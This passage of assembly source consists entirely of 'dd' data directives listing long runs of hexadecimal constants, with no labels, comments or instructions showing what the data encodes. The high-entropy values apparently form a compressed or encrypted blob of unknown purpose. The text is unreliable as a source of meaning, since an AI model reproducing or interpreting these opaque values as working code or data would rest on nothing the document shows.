0DA979E80h, 9CDF0F45h dd 0C56F478Ch, 0BC6C084Ah, 78C32958h, 9F6F004Bh, 0A622EFC7h dd 989FCBC4h, 0B952FBCh, 6960118Dh, 0C9223080h, 45B5DD0Fh dd 0DB200084h, 36529904h, 0D3037898h, 6CAD0B5Fh, 0C0228851h dd 0E8FF036Dh, 0B1594D26h, 4086F481h, 0B4EBD368h, 61F0FA00h dd 29FE6EF3h, 351600BEh, 8743B08Eh, 9140B706h, 0C1DCA296h dd 0A2144740h, 1F80387Ch, 56A4EE55h, 0C8CC402Eh, 369C02C4h dd 5E73544h, 0C0788444h, 0C2E00094h, 129997ECh, 4B27CF5h dd 0E3E18172h, 6E250320h, 0EA834439h, 0E721E0A7h, 2C1D00A2h dd 1117D373h, 0D40169B4h, 33F959B1h, 0F1804458h, 53D88C64h dd 660BE08Fh, 0D9852C69h, 0F3CA00D8h, 3405E890h, 0B477C97Bh dd 0E9D4F00h, 0DCC0F27Bh, 0CBA02743h, 0A8804851h, 1683AA44h dd 958C00E0h, 7FD79C2Ch, 4B001AA5h, 9AB53CFFh, 5BABA6BCh dd 3E4C0052h, 0CB1EA7CCh, 4787A52Fh, 0A32B04BCh, 0ED7084BEh dd 88CD13E0h, 810008B2h, 0A79486D3h, 0BD1208AAh, 0A8A8E035h dd 0E164DC88h, 388EB720h, 0B64814BCh, 6574430Eh, 98E83E23h dd 886F050Bh, 0BE10DCD9h, 6108A899h, 1C303AD0h, 60C7BEA7h dd 25B1C80Ah, 0E8959A10h, 12D4DD8Ch, 49178DCDh, 0C4D651C8h dd 7A0350h, 760FF648h, 0E5D7075Ah, 0CECCC700h, 8AAA5159h dd 0E8B90E1Eh, 70981857h, 670211BFh, 0F995E987h, 5000C00Dh dd 21AE5A26h, 0C9D0947Ch, 5203E4F2h, 2D45E000h, 0DC7A8062h dd 0A45B168Ch, 7218E126h, 63A0E48h, 79B900A5h, 0F9042E0Ah dd 7E5C273Bh, 0A1FC1103h, 2DB68698h, 0D0D77F00h, 53775E29h dd 74792D6Ch, 28F1C442h, 7AE63589h, 0C7B50BF4h, 30F13D0Dh dd 7ED3BB03h, 8786E235h, 0CD004AC2h, 12D7A936h, 0F899859Fh dd 0A767889Ch, 548BA0D9h, 8BD8569Fh, 34D8A89Ah, 40B091A1h dd 65DFEAD8h, 90255096h, 5F71268h, 1730E52Bh, 5342598h dd 88AB654h, 918A9DFCh, 8C6898B1h, 77A64385h, 4D944804h dd 0F438C853h, 1CBEED03h, 0ABA40783h, 517A8858h, 19D11626h dd 84541069h, 0EE64BDC0h, 0F8008C59h, 2833CB15h, 47B4743Ah dd 614B79C0h, 3D2BDC31h, 1C0F3030h, 9E442EEDh, 4DA704E9h dd 360C818Eh, 348E2BE6h, 0E703E821h, 8925B849h, 7C41B14Ch dd 0CEE89195h, 486D1E6Ch, 164000DFh, 0BD3D0A78h, 56A4A700h dd 91284F6Eh, 4CF50F1Eh, 8C8E68A8h, 0D790FFE0h, 81480D11h dd 24D92108h, 3BC43D64h, 0BF2C1600h, 6F3F351Bh, 0BD50972h dd 0C70F6C3h, 0BD806099h, 0DD12CD86h, 0FB990074h, 933DD920h dd 0C29DAF11h, 441C58B0h, 0AEFE6CCBh, 0FF9BD609h, 63F40011h dd 1A2DF304h, 0AEE5E93Eh, 0B3C19001h, 1800DF25h, 1FDFCF4Bh dd 28F92361h, 0ACABB1h, 442FD16Fh, 45D2E9B3h, 0E667161Ch dd 0E14C1DFFh, 29DD7581h, 0CEF0D75Fh, 0CD19004h, 90AB8512h dd 0C120F240h, 2ED11021h, 0BAF47C5Bh, 0AFC319DEh, 9E3C2593h dd 1630C2Ch, 8DA82C8Bh, 7C480A20h, 6E1DE414h, 254330AAh dd 0CE14D39h, 4196E7Fh, 0E20124E8h, 425508F5h, 0E4D921B3h dd 76FF02BBh, 74A82721h, 9C980117h, 511F6071h, 0B074781Ch dd 652EEh, 0E624A0E4h, 8E6880CCh, 42BCD1F3h, 372507F0h dd 0FDEC8F4h, 4B17D95Ah, 0F1D6EA20h, 0DF0001CCh, 821A807Bh dd 78D88FD5h, 1F6A90DEh, 0C08D8CB1h, 0E6CB9F3h, 0DA00D069h dd 3BB4BF62h, 4BEAB5C3h, 0A782096h, 3E255330h, 7CF445h dd 32D6391Bh, 0C3029F8Bh, 69E65878h, 5C2C4055h, 0D8294176h dd 6316DF09h, 40407821h, 33F675A3h, 6F1C128Bh, 0E548806Dh dd 0C7482995h, 43C101D4h, 3E27C651h, 263D5CA6h, 0C0990408h dd 77AA0085h, 0A76E8F4Eh, 0C2B00820h, 0E008D8C9h, 0D1176086h dd 5D47F74Eh, 2FB1200Eh, 87B5643Eh, 600D0E3h, 0C0239DE9h dd 707A059h, 0EA8F3C8Dh, 0A4FA7E70h, 4CA62715h, 841DBC79h dd 0B74E06C0h, 37D07FFh, 87889976h, 0A9E1982Ah, 18473BAh dd 0B0786A1Dh, 8ECCFC0Fh, 0A3880F61h, 0E63F3A44h, 0C030A684h dd 8DA33117h, 652EAD04h, 3CBC96B9h, 0B63B9080h, 0CE00A830h dd 70DDB4A0h, 3B2A639h, 0DE26D735h, 48BE757Ch, 233F1D00h dd 176E4A4Fh, 60766903h, 6B1FD200h, 0F80597A7h, 462945E4h dd 9107ECA8h, 5004871Ch, 0C88EA793h, 12C1CF1Bh, 0C7BA8368h dd 33D21640h, 2C9C0B22h, 0D01025BEh, 5D3FE5DCh, 740C77C4h dd 0BE95CC05h, 3E20002h, 963CCB0Dh, 730E6224h, 3F3D39DFh dd 898CCEh, 3531BCD9h, 225A2E8Fh, 3A2103D0h, 98005127h dd 1F1A91A6h, 9C9D5763h, 0FBAD4154h, 4B3FCC7Dh, 0EDBB431Fh dd 0FCECAFh, 0D4A4840h, 4144ACD9h, 15E6EC1Fh, 0F0F5B80Bh dd 66923C2Ch, 49B600F8h, 0D5D648F3h, 0E3C5969h, 380BA72h dd 41A360C5h, 927B9883h, 2651920h, 809D084Ah, 83594E21h dd 1CD9F0h, 5466034Ch, 0B17A69EEh, 0DBB6C90Fh, 0DA3B830Ah dd 7818070Fh, 8F6E2199h, 0A4EB8087h, 9293012Fh, 809160C4h dd 83408473h, 915AE782h, 41109F40h, 1068358h, 869588CCh dd 8018DE70h, 0FB56450Eh, 0AB0091E3h, 0E7C015A0h, 3E28B138h dd 2075A64Bh, 0CE06A1EBh, 65EC4480h, 0C57738h, 0E866CF52h dd 0E7C12A7Fh, 9D084F66h, 5AAA0099h, 0AECD57CFh, 3600F5B5h dd 0EE6EF8AFh, 0C497EBh, 0C93D1E41h, 84B78C4Fh, 0C6FF4D02h dd 61AB9CF0h, 0BD05ADEh, 4F733D6Eh, 0D1D72180h, 0D30D37B9h dd 0A7769500h, 7733C87Fh, 2DD60072h, 0F81EB6Dh, 4C0230BCh dd 0ADC393A2h, 0C85D601Ah, 49DF00D9h, 0EF1159Fh, 0EF0016A5h dd 8F643DB5h, 989F5CBh, 0DBE1796Fh, 7BA0DB80h, 3002D92Bh dd 0E0754F16h, 0B5314022h, 7F2CE052h, 370E00D8h, 7782FFA0h dd 8B00DC9Dh, 8930E476h, 7EECD33h, 172EC42Dh, 0A2E8E00Dh dd 3F006762h, 0BC8BE81h, 79C254FDh, 0D1A32470h, 7A0A000Eh dd 53F9308Dh, 0EB6560E4h, 43BEA11h, 89A1D10Ch, 7C00E210h dd 9002F999h, 172D8AFh, 0A04F588Eh, 0D0D13378h, 0EB0CE35Fh dd 298777E2h, 0D75B884Bh, 4388AF07h, 0A3EE736Fh, 9857C63Ch dd 8597E3h, 0DF5961ACh, 44FF45F6h, 0A5194C00h, 5733DB13h dd 0A01612CFh, 0F6710010h, 95EAE8Eh, 19121E18h, 6697E0h dd 7DB0548Ch, 3DAD4CB4h, 69F4C800h, 0AFA03157h, 84783E3Ch dd 5EEB4200h, 10F7F1B0h, 0AA00B2E2h, 3A44FF0h, 0E23213h dd 6C22BB5Dh, 0FEEB3808h, 877C7877h, 0A780230Eh, 398E01DFh dd 9040E885h, 0B32B3Ah, 1EB616A4h, 0B4846FEBh, 4A7FA600h dd 329B1A7h, 3F8B00CFh, 5772B747h, 9100FB52h, 0F3C7DD71h dd 1E519C6h, 0C3028EBEh, 0E40DCFF7h, 2B0070B8h, 0DB1FD409h dd 0FD04F49h, 0D2A2E6F2h, 36067A20h, 46007796h, 6BBE316Dh dd 0E57304h, 0FAA7F99Bh dd 2F5BDE17h, 0ECC50D00h, 706A63F6h, 0AAB02BDh, 3E6B4B6Dh dd 4227F080h, 6E76CDD3h, 86FB370Fh, 0C774C031h, 24B366h dd 9D1D5332h, 0A7331888h, 0F90A4603h, 0A8BCA8A6h, 0F11C0Dh dd 2A39445Eh, 3C5C05Fh, 0D4E10707h, 3A936FA9h, 0B5A7C891h dd 37EE0010h, 4E4F8C76h, 0D83ECB51h, 4200F657h, 5E4CAB7Ch dd 71659EB7h, 936C0032h, 3682F21Dh, 0E3002EF3h, 0FD5FD112h dd 0E158B8Dh, 10CD4427h, 709278A6h, 0E9161B00h, 0EC816D4Ah dd 680F0CB8h, 0D3E9FF2Eh, 807F3D3Dh, 3482FEDBh, 3B106602h dd 5E8072E0h, 88F70E53h, 4D000C16h, 8EEA1326h, 5C2D4Ch dd 60869E31h, 0CD29A364h, 2A77609Fh, 788FE1D0h, 0E8BB041Dh dd 25C91A90h, 66A80E07h, 7920DC51h, 3231FBh, 891FBA85h dd 0FF13465Eh, 355AA900h, 0CD19174Ah, 48D300BFh, 80885F2Eh dd 0EEA02270h, 2D01D8B9h, 6E8E0882h, 3820E94Ch, 68F300FBh dd 0BA129737h, 8B09664Fh, 8060B355h, 46F4928Ch, 6BD4002Ah dd 0A76402B8h, 291CB2F0h, 30406220h, 7A32BD98h, 86AC1347h dd 0B6B90B1Fh, 0FE109C80h, 0FB0A9B6Eh, 0F518FAAEh, 0E0832603h dd 0F51000A1h, 8CCB21D9h, 0BC098074h, 0D6897h, 0C0D4F63Fh dd 9096028Eh, 0D9398477h, 0AFED2068h, 932B8A00h, 5B5A53EFh dd 800600AEh, 3BE9B17Dh, 0C01320C1h, 0C700F234h, 0BE2F8EA4h dd 126C3A7Fh, 85FE3200h, 6FD45FC6h, 361339h, 89BBC4BFh dd 0B0B190E0h, 2402309Fh, 0A240C0A0h, 0F920C726h, 49383030h dd 0FBF81DC8h, 0A5D1C021h, 0FDF0F6B6h, 0EEBC8609h, 0DC74A79Eh dd 0D3090B7h, 0D59BCFh, 0E9B01A3Eh, 3F896423h, 816C3B00h dd 0FE393327h, 0B8BA609Bh, 0A8BBC2DEh, 4300CD77h, 92BF5D67h dd 0F0103A0h, 312985F8h, 6340890Fh, 22136097h, 0D8AAE700h dd 674ACB4Bh, 8AE63D7Bh, 0FBAC9380h, 0C86BCF0Ch, 6A90A600h dd 0F8F6A002h, 4A20924h, 233DDFh, 14F352BFh, 44D713E8h dd 9BC16C00h, 6B7F9FBCh, 258009E1h, 62073B3Dh, 7DE8808Bh dd 66387751h, 426B00B0h, 8E2EBF0Bh, 0FA2D045Ah, 0C010652Ah dd 8AE79DA4h, 441B418Ah, 0AE1AE8EFh, 0C7BC00DFh, 2E9EE19Bh dd 310019BBh, 2CC189D2h, 381483h, 0E13FB55h, 4DB77068h dd 0C5025CEEh, 0ABEC3ECFh, 5A988047h, 3195C9h, 233B6D43h dd 5D8157F5h, 3EF27800h, 0B71EA824h, 0B9B400A6h, 0EE95026Dh dd 0CD144C9Fh, 0E8E640h, 45DC3099h, 0CAC36Bh, 59F9BFACh dd 0A8DF21D4h, 99383500h, 0F5802C83h, 115612D0h, 524447FFh dd 59B6A769h, 0AC449020h, 0F200D602h, 222FDBDEh, 0CC7B12h dd 0B8036680h, 6021745Bh, 0E10F4578h, 6E7EA15Ch, 92D90536h dd 0EB8B3C91h, 9ACEECh, 75672B7Fh, 0B80F3F4Eh, 0D5540100h dd 0BED24F6Bh, 77B6002Ch, 6116A007h, 7B00BF6Ch, 3558BB97h dd 7BAD4C2h, 0A88CADB5h, 334AD02Eh, 7E0EDE2Ah, 5FB9FDh dd 84E49E97h, 0E570381Ah, 76AB4781h, 2479336Bh, 0D9009060h dd 469B50E2h, 0A32F3Bh, 0B640635Eh, 0C7476849h, 586B7500h dd 715323BCh, 5A240045h, 5C263776h, 3A704F48h, 50494C0Fh dd 0AFD5EF06h, 92BCA0D4h, 780235h, 7A54FB08h, 6DAA5314h dd 0D4B18A01h, 641FC3D1h, 1F4B93F8h, 3FD1825h, 2ECEA7ACh dd 0A6678D8h, 896D6807h, 0C11026B3h, 17677205h, 4EEEF608h dd 20396F30h, 1EB90136h, 0CFD0DAD1h, 344A2EF8h, 0F7BF8044h dd 0ECD3607h, 2D37DE0Bh, 10A4080Fh, 2606B900h, 1B4F22h dd 8396E37Eh, 3A69BCA5h, 0BFC25001h, 153007F6h, 14893886h dd 4B0B81EFh, 8E0EFEE2h, 0BEC5EE90h, 9738F6C1h, 584AA93Fh dd 0A7904721h, 0D3B9C602h, 0B11076F8h, 0D00754B3h, 14A10E85h dd 0FAA06347h, 90287AC3h, 88E61E02h, 0E0AEE7A8h, 47EFA0h dd 0A62D08Eh, 6EF0C84Bh, 0EB77BB00h, 0D75F87B5h, 319B0074h dd 0F33E467h, 0B63FC16Ah, 4FA88030h, 0A29FA77Dh, 17C21E2Dh dd 211D3EA6h, 0B73CC0F6h, 0B3886D87h, 0E85EF309h, 476F073Bh dd 635510D0h, 6C4100D7h, 58FB9180h, 427B3605h, 46FE9302h dd 0C028EFC0h, 7EB1893h, 0B60D0799h, 0EC6E3057h, 0C00104F1h dd 46053AF6h, 0D2DCACB5h, 0FBF9C00Eh, 23A2482Fh, 9E0345E4h dd 0E686CE8Bh, 0A8A7F0D0h, 6E4F14F8h, 5200987Eh, 0AA25A483h dd 0C902C816h, 82BB693Fh, 4EA6E0E7h, 3E463790h, 0F8620638h dd 4205B480h, 92C71000h, 73F8D711h, 0ECDD0016h, 0B96A0ABDh dd 0FF0BEECAh, 0A0BF9E08h, 0DD5C30D8h, 52E0000Fh, 831367C0h dd 6A0EE239h, 0E07AFB7Bh, 0B0C3868Ch, 301901FAh, 94DA4A37h dd 96EC5335h, 0B51236E8h, 90FB471Eh, 0ED9273C2h, 5B7B6051h dd 0D8CA01E4h, 63EEC709h, 69A980B7h, 0D6999E01h, 46AD3F73h dd 636FC700h, 246D3B88h, 9DC398ABh, 0C1033171h, 46830F09h dd 3E280ECh, 569395Fh, 9097E304h, 60E8A118h, 4700C451h dd 46EDA12Ch, 0B481CCh, 0B8833BE6h, 7DE45490h, 0E5288E00h dd 0E9BE6AFAh, 0EE5700A6h, 0E01F4E9Ch, 9900AA04h, 2A8B4FAFh dd 5C841BC0h, 2300A416h, 8059146Ah, 80FDE8E9h, 0D3517E19h dd 1831873h, 0F8C1EA95h, 81E17697h, 2D7C2320h, 0CEF0CFFCh dd 9F4F018Dh, 4CED9417h, 619941Dh, 986A1CD8h, 7D31EEC0h dd 7B16DB97h, 1E27D9Ah, 0F9CFBB04h, 816CA60Eh, 77E36F58h dd 29303453h, 0AB6D00B4h, 65E2FAFCh, 92374360h, 0F3C12847h dd 1887DEC8h, 4C539342h, 5C063A99h, 0CC70277Fh, 7CDC0B68h dd 4280D450h, 4CE20688h, 0A0DB5930h, 186CFB04h, 81F70EFAh dd 0A872E35Ch, 1DAD58C7h, 88BBAA40h, 98F330F9h, 18017419h dd 83158E1Fh, 5781C0Fh, 9400474Ah, 0CA603C6Dh, 7C5D0FE2h dd 0E12C15CEh, 1042FC90h, 0C2215610h, 0C38144h, 10E85C02h dd 0EA16851Dh, 0F36CFCC1h, 744FF554h, 0E010FC10h, 792548h dd 955BEA92h, 297CE011h, 6ACCA254h, 1870CD34h, 0F30D08C1h dd 6F7A1883h, 5003F75Bh, 0E33E04Fh, 0D71016Ah, 0EF9944AAh dd 0E811E485h, 5908BD66h, 0B1A60021h, 7C254944h, 50C5F0A1h dd 0AC00987Dh, 1894161Eh, 0F02C9087h, 299E00E4h, 88A7AA4h dd 0D16502FDh, 9840FE08h, 0F12986C1h, 0E4510568h, 0E2E670h dd 859F6D7Ch, 0E561C480h, 552FC111h, 0C308C70h, 0C06068F2h dd 0A4A0F33Ch, 3700A76Dh, 58FA5055h, 0FB84ABBBh, 510A5082h dd 0DC807693h, 9DB36C88h, 0F68481C0h, 32A254Ah, 81DCB843h dd 824A86Bh, 7BD14DDh, 0A322592h, 0D5DD360h, 7CED0540h dd 1C5483Fh, 16CEEA0h, 1F8440F7h, 80AC9816h, 0A829B204h dd 0EF62AA7Ah, 0FA29422Ch, 0CCBB00EAh, 0EE5C8A42h, 410C4C02h dd 0B01E86F2h, 0BB71120Ah, 2C3C4F60h, 0E3B69060h, 2F6001F7h dd 494EB0E4h, 20DA007Ah, 253F064h, 0BA1C3731h, 4C41B7E6h dd 356F521h, 0EB2FC4h, 0BC95B3DFh, 0ED3C17E4h, 0BFB55A00h dd 659FDB23h, 0D0570F02h, 2420DAD8h, 9FDB7C1h, 8429ED00h dd 441A31E6h, 3ED074EFh, 558B6405h, 41035313h, 24A84328h dd 0F0096C79h, 80AEF3BBh, 9BEEDB7Bh, 3B580005h, 2CC60C54h dd 5F0052E6h, 0A66CBF16h, 3C53A01h, 0A2C1FB9Fh, 0E4C03CBDh dd 0C30608A7h, 0E5975CA1h, 0D0048730h, 476EB421h, 78D56110h dd 8CE45859h, 92281C60h, 63E8803Dh, 0A95221ECh, 9D28BC62h dd 22D82467h, 8661168h, 0C6704575h, 22F5F213h, 8924D42Ah dd 6F104022h, 83E89F3h, 9C7F4411h, 0F2692284h, 1C112242h dd 1EA82175h, 106CD0B3h dd 9E00ABF6h, 0E6069BC9h, 0AC00DD0Fh, 7EC34B6Ah, 7F792CBEh dd 0ED7A48h, 1D2E38DEh, 0B55F288h, 3458CA01h, 0B08F29A5h dd 0D190F8h, 0B314325Ch, 4C7D92Bh, 6E779E00h, 0DA0278A6h dd 0A5F3001Eh, 62992E9h, 3D00EE72h, 8AAA095Fh, 0F6944F46h dd 41D43E9Bh, 208EC4BFh, 16C015BBh, 735263C1h, 66D5CD01h dd 1BE4E7DFh, 0B0325FFCh, 95140010h, 6DF85834h, 1D00C6DCh dd 570B89FBh, 0E5191FAh, 49AF6890h, 0F8773060h, 815888D3h dd 950170A6h, 0B7604469h, 0DFC16522h, 38C58271h, 160CA7E0h dd 7998480h, 731B3CB1h, 7ED83474h, 6E00D1E0h, 6A123F3Eh dd 7DD3735h, 0EA712A8Eh, 0E65710FDh, 0D600FEF3h, 25F0AE92h dd 0E686Dh, 0DF887A3Dh, 0CDDB52EFh, 400849h, 0FCF6EDC0h dd 748F77A5h, 0A5200C9h, 39EB863Eh, 5700499Ah, 82AE48F5h dd 1DDFDFEh, 0A51AFC69h, 313F4A31h, 501887D9h, 2C22E92Bh dd 34BEC033h, 57E4075Ch, 807639C4h, 4C8432AFh, 0DB567012h dd 0E081041Bh, 1693F7A2h, 831072h, 9EFE6EDDh, 0F603EA48h dd 0A5A34999h, 8BB688A1h, 1B651F76h, 0AAE3400Bh, 0DE5F8AD0h dd 1F467A39h, 38000AF0h, 4BD1537h, 0F8AF00E8h, 74CEC4B1h dd 0F006C16h, 97CC21E2h, 397B51E6h, 0F8180B6Bh, 0C1FE78D2h dd 0CC384E00h, 0B63F026Dh, 9C66286Fh, 34F0EF84h, 337607E4h dd 0C05972E2h, 2B314FADh, 6277CF00h, 0AFFA365Eh, 0DD3B00CDh dd 6DC8CACBh, 500193Ah, 0B9E29763h, 5F1F56h, 0B8071727h dd 0DD960930h, 9CF5503Ch, 0FD00A236h, 9EAA7CCBh, 85CC0034h dd 4918F4F7h, 683C1A3Ch, 247180EAh, 0EFBC446Eh, 77AD003Dh dd 29A2D691h, 1C035292h, 6D62B836h, 0E5761EA8h, 0D580F5Eh dd 99315780h, 0A07C21E8h, 95B0BE00h, 36C843Ch, 291F1E7Bh dd 474400D9h, 1EFA869Bh, 0AE9EE100h, 4059CD4Ah, 0ED710EA4h dd 0C0C0E601h, 0D8E3E429h, 98F8E000h, 4B9175CDh, 0EC192452h dd 67C08428h, 0C874807Bh, 89002B9Ah, 0A129A3C5h, 0F3417Dh dd 6F3C1324h, 7A4F23ECh, 2009540Ah, 8F00AC80h, 0AFBB9F4Ah dd 0B54003DBh, 0B6FAE0D7h, 0D090D298h, 8F51AB3Ch, 20B80DE4h dd 66621142h, 76D00AFh, 0B2FEDB55h, 5F00A3D7h, 7C59C44Fh dd 26411EECh, 89ECB794h, 3C1CA547h, 0D6EEE61Fh, 27908D80h dd 0C6F816h, 0CE47E028h, 0F1BA9A07h, 7F033490h, 290F5276h dd 264E0061h, 6C349B7Bh, 600E2DFCh, 0E03128EFh, 4B8678F4h dd 0A54800AAh, 0BD7D1B66h, 0ACEE9108h, 0B776C600h, 31F08EA7h dd 0AE900F0Fh, 0E2A09F20h, 0AAFD1C5h, 0A901887Fh, 0CEF8FB87h dd 0B0DFB779h, 195ABEh, 0C604857Dh, 0B4B93E3Ah, 73E75207h dd 0FE527CC2h, 2A2CC05Ah, 0B3D83E0Dh, 7FC84400h, 4B0F87B9h dd 0B517CA03h, 0A83A12DBh, 0B87A6CAAh, 0E26609F2h, 0B0A07DAEh dd 0C43D095h, 28C5B500h, 0EF64D1F7h, 0B498D2h, 0A52533EAh dd 0D40E86CAh, 15DAC501h, 0A2DE2280h, 4B5DD0h, 769ABA7Ah dd 91FEF54Ah, 8E9C3000h, 0C2822042h, 2D16004Eh, 1D89DF32h dd 0B371F0FAh, 5D336E00h, 0CC2C3F47h, 973D00E1h, 8D386C15h dd 0EB0014F5h, 7FD9879Fh, 5BD7FAh, 33D35F24h, 0DC073B7Ch dd 15339h, 69617195h, 5C4636FFh, 0AD0034E1h, 90ED4AB9h dd 0E3D201Fh, 260849A0h, 0C04184BEh, 5C202E17h, 0BAC50938h dd 805D80CEh, 0EBB5B81Fh, 403E0720h, 0C0300C37h, 39528AF8h dd 0B71D2900h, 0F39A6EDDh, 0B4E84C81h, 61C81B18h, 267D03Ah dd 8B30AEC9h, 4C46EB6Bh, 0ED033081h, 7B1368DDh, 0A41E6800h dd 0C3850899h, 0EB7800D3h, 0C1AD2084h, 25031594h, 0B67D262Ch dd 70E5E09Bh, 558B09BDh, 1500D5E4h, 0B45E66ACh, 3100BEFCh dd 3D6FC3CEh, 26D7957Ch, 9482EE6h, 8E0E7FD3h, 76F374h dd 1D3F2A43h, 0F7371711h, 0C4958D00h, 2FBD30EDh, 0DFE2006Ah dd 10B4B5D9h, 0D103C379h, 1DA912C8h, 0DE0B8172h, 1E6870h dd 0E353D761h, 5EFF6489h, 7C9B4101h, 94C7978Bh, 499E4FE4h dd 521CB82Dh, 0B45400EAh, 7691CB7Bh, 85F11612h, 4287BC03h dd 175CE860h, 0A37AFA82h, 0A05AA3C8h, 807D6720h, 500E0DEAh dd 3F3AC525h, 0A1D5EB00h, 758E83E7h, 0BCCB0A6h, 8B63E351h dd 0D992B8A0h, 29052410h, 0A9B9495Bh, 0B3C3C800h, 1126C7h dd 0A1B125C0h, 923464DEh, 0CA4B424h, 4E16540h, 7C8000ACh dd 2F765966h, 0EA1E3ECBh, 0B4404B39h, 0AC3F8FE9h, 0E3931C4Fh dd 833409E0h, 8A610401h, 70740058h, 0E29B0387h, 0D13924F7h dd 14FCBF88h, 8ACF430Eh, 92A78016h, 1E0E28EAh, 87C8129Bh dd 1D12E6Eh, 0C8BD6A79h, 0AB001C57h, 231786CFh, 3B0356h dd 84C858D5h, 127D79B6h, 0A3AEDE00h, 2D89B150h, 0F3F9071Ch dd 7EC6E6BBh, 0BE179AA1h, 0E8A771D0h, 6260A739h, 90B1D6A0h dd 6C8D0135h, 38210129h, 0B8B6DCD8h, 5D0024F4h, 7633BA7h dd 0F064F161h, 7EB3039Fh, 0A658E913h, 204C288h, 397C7801h dd 42AE18C6h, 0FC1860h, 0FFE0F10Bh, 0F4B7EF9Ch, 871C4E00h dd 0D3EADD14h, 0F9735Ch, 7DB6FEF7h, 4F43DF50h, 0AB03250h dd 0B71F4C77h, 72001D24h, 0C358CDE8h, 490D4h, 0EACBC7C6h dd 2F5570B4h, 3C930A1Eh, 2090724Ch, 67962CB3h, 7F1F0E2Ch dd 8038B80h, 8D72A19Fh, 0A0CB5204h, 39C2D7E2h, 7AA36001h dd 8CB9031Ch, 0FC442979h, 0D02457C0h, 0B04DD200h, 6B75DECAh dd 0A15B00DFh, 0A070077Ch, 9A2C58B9h, 0BE0004B6h, 0BCDC7A17h dd 54F000ECh, 9111CC64h, 5B0B57A3h, 0A01CF1F3h, 65B4C480h dd 6C74EF78h, 0A5D81D2Dh, 3D1240A7h, 0B7DBFA29h, 0E808B600h dd 0E7715873h, 136F9847h, 9344869h, 286075DCh, 6FFE4FFDh dd 57877B1Ch, 1B05BE80h, 3346FAh, 84685D01h, 0D97872E0h dd 3CCABD24h, 0AA51C502h, 10CCA05Eh, 3F1EE14h, 4BDEF4F8h dd 0A8702034h, 852CD23Fh, 0A7721299h, 8FE7F607h, 331017F7h dd 79F56Eh, 0F631DFC0h, 3DFC45F2h, 0CFF3A101h, 5A3F954Fh dd 969E60h, 88369829h, 0FDE661E4h, 24D09C05h, 14C0B279h dd 0C0F66041h, 0C695C198h, 8C001CA4h, 0BECA08F1h, 3FB32449h dd 5F8293E6h, 2B06FD94h, 92A89F63h, 46399C03h, 218B004Fh dd 581B4E9h, 15EB0035h, 72D5C7A8h, 643EC914h, 0AC160091h dd 0AE265F8Bh, 0DB3C3E0Eh, 6C8C0100h, 205EDF0Ch, 508DAF38h dd 6B0052B6h, 0E6BEB025h, 78E6DD7h, 2659ACC2h, 0D9C190CCh dd 770FC7E5h, 0B2F188h, 0F70DB31Fh, 51A50043h, 14A939EDh dd 0A10073D7h, 0A7546D8Ah, 139122h, 77CB2BC9h, 6C89215Eh dd 1A1C3C02h, 804988CFh, 0FC9FABBCh, 46770B39h, 2080A426h dd 44A336A6h, 1C32F00h, 0A9BD98A2h, 0B8D4001Fh, 97D0EF69h dd 0A124F85Fh, 0E009860h, 545C727h, 119A0001h, 9EAEE1D6h dd 0AD07A35Ah, 0D7CBBF38h, 0D3FA600Fh, 0E7F8C18h, 0A778739Bh dd 53194802h, 8E67D440h, 34FD5207h, 9340B7E4h, 95A1D0h dd 31AE9A17h, 6E26B162h, 7B49B400h, 237494FCh, 0BC6B0198h dd 0AD2AF815h, 1E8DF0F9h, 0E5F7907h, 10C04CD0h, 0AA0151h dd 0B74617E5h, 0A1FB1F2Ah, 927DDF00h, 572C3786h, 30F4B0DBh dd 0DE19C21Eh, 0ED00BBA3h, 2747FF78h, 0D2A701h, 0B1C1C4F6h dd 7B83651Fh, 93B35200h, 0B9223023h, 1492C8h, 0DB68585Ah dd 0A25B7C88h, 511EF200h, 0FD5340E0h, 643700D1h, 90A8CD32h dd 9100DB10h, 46ABCBF8h, 0FA75E0F0h, 0ED6F0007h, 0E84E48F7h dd 260090CFh, 0FD0F1AEFh dd 0F896E2E4h, 3DBB00C6h, 492E727Fh, 7E018C68h, 0D0AEEB2h dd 0F230879Ah, 1589059h, 0ECAE1F3Fh, 0E42B04B4h, 0D573E6FBh dd 0B2A4E507h, 35C0FA5Bh, 20C14DFh, 0C390ACDBh, 4840C2BBh dd 45000261h, 0BA499C32h, 9596C1Fh, 0A85779EBh, 4C034E2h dd 0F43BE205h, 0E15D801Ah, 0AF3D5527h, 31972DAh, 4C653CD9h dd 3980D381h, 9C504E4Dh, 481C8FACh, 1900699Dh, 33639EECh dd 4DB10029h, 22F56A09h, 591D434Eh, 1C3D646Ch, 55400C1Dh dd 18F8AF37h, 1BF4004Dh, 515E26DDh, 40C078D6h, 0F35074B4h dd 0FBC900A2h, 9EE23CDBh, 0C40115D8h, 782C1316h, 0AA405F10h dd 18ED4E8h, 7C8C5773h, 6049F2ECh, 880048B0h, 0CCD7AA6Dh dd 9FDFE5Fh, 0FFDB60B4h, 1C1464A5h, 4B42DEC0h, 0BCA03291h dd 0FE4AB8ACh, 0FB245900h, 80C1700Bh, 773898DEh, 9B9502A1h dd 7A0F7B15h, 0A6D01CC3h, 0EF0186F1h, 0BD9C973Dh, 0ECF8E5D1h dd 49290038h, 5B36A825h, 0CC17C7B9h, 19C08678h, 377D1BFh dd 2E1E79DEh, 3005F8BBh, 0D5113689h, 23664481h, 443990EDh dd 0CA0F4448h, 0BC1BE0h, 78A86372h, 64FC46BAh, 301FF900h dd 0DD4C76E5h, 0CE541F3Dh, 8C8E00E0h, 0AB6675A1h, 0AE60AC24h dd 71F10800h, 0D64FA3h, 801B507Ah, 3837A7FDh, 147259h dd 0FF96348Ah, 999E312Bh, 0A5EE0830h, 5A4DDE03h, 0B307807Dh dd 70587B5Eh, 4B58B2B9h, 65F0403Ch, 0BA7D052Eh, 9FDEE30Bh dd 5223A1EBh, 5CF8DC17h, 237A3A60h, 0D4923F7Ah, 0B145CC85h dd 0A2D80188h, 0F319CB6Ah, 1687F7A8h, 54AC5C00h, 0F4C7831Fh dd 70596108h, 7AB819FEh, 3891F980h, 7010088h, 0F550DE06h dd 0CC00A5DCh, 897F1A62h, 0A49CF9h, 5A26BB64h, 0FFE81B1h dd 0B96CED00h, 8E10C5A7h, 94072EA1h, 83C40048h, 66F012B8h dd 0F78F1900h, 0EF8E3B0Fh, 0C070004Dh, 921844C2h, 8A00A889h dd 0F7AADF5Eh, 30C81360h, 66F0B3F3h, 6003528h, 0B40E8E61h dd 8111F9h, 0D08F364Bh, 8AC1CEEFh, 84F2F4FEh, 49C54C07h dd 0A970CBBCh, 4A3732h, 0DEEB78FBh, 2C98BF99h, 6249598h dd 6C0177C5h, 8BD27E32h, 0BF91052Eh, 